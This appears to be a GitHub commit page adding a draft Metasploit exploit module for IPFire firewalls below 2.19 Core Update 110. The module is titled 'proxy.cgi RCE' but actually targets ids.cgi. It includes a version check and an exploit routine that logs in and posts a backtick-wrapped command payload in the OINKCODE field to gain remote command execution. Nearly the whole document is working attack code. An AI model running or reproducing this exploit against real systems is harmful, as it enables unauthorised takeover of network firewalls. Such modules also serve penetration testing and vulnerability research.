Skip to content

Commit c35dffc

Browse files
committed
first draft of oinkcode
1 parent e7fa4c2 commit c35dffc

File tree

1 file changed

+111
-0
lines changed

1 file changed

+111
-0
lines changed
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
##
2+
## This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
Rank = ExcellentRanking
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'IPFire proxy.cgi RCE',
15+
'Description' => %q(
16+
IPFire, a free linux based open source firewall distribution,
17+
version < 2.19 Update Core 110 contains a remote command execution
18+
vulnerability in the ids.cgi page in the OINKCODE field.
19+
),
20+
'Author' =>
21+
[
22+
'h00die <[email protected]>', # module
23+
'0x09AL' # discovery
24+
],
25+
'References' =>
26+
[
27+
[ 'EDB', '42149' ]
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'unix',
31+
'Privileged' => false,
32+
'DefaultOptions' => { 'SSL' => true },
33+
'Arch' => [ ARCH_CMD ],
34+
'Payload' =>
35+
{
36+
'Compat' =>
37+
{
38+
'PayloadType' => 'cmd',
39+
'RequiredCmd' => 'perl awk openssl'
40+
}
41+
},
42+
'Targets' =>
43+
[
44+
[ 'Automatic Target', {}]
45+
],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Jun 09 2016'
48+
)
49+
)
50+
51+
register_options(
52+
[
53+
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
54+
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
55+
Opt::RPORT(444)
56+
], self.class
57+
)
58+
end
59+
60+
def check
61+
begin
62+
res = send_request_cgi(
63+
'uri' => '/cgi-bin/pakfire.cgi',
64+
'method' => 'GET'
65+
)
66+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
67+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
68+
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
69+
70+
if version && update && version == "2.19" && update.to_i <= 110
71+
Exploit::CheckCode::Appears
72+
else
73+
Exploit::CheckCode::Safe
74+
end
75+
rescue ::Rex::ConnectionError
76+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
77+
end
78+
end
79+
80+
def exploit
81+
begin
82+
83+
res = send_request_cgi(
84+
'uri' => '/cgi-bin/ids.cgi',
85+
'method' => 'POST',
86+
'ctype' => 'application/x-www-form-urlencoded',
87+
'headers' =>
88+
{
89+
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
90+
},
91+
'data' => {
92+
'ENABLE_SNORT_GREEN' => 'on',
93+
'ENABLE_SNORT' => 'on',
94+
'RULES' => 'registered',
95+
'OINKCODE' => "`#{payload.encoded}`",
96+
'ACTION' => 'Download new ruleset',
97+
'ACTION2' => 'snort'
98+
},
99+
)
100+
101+
# success means we hang our session, and wont get back a response
102+
if res
103+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
104+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
105+
end
106+
107+
rescue ::Rex::ConnectionError
108+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
109+
end
110+
end
111+
end

0 commit comments

Comments
 (0)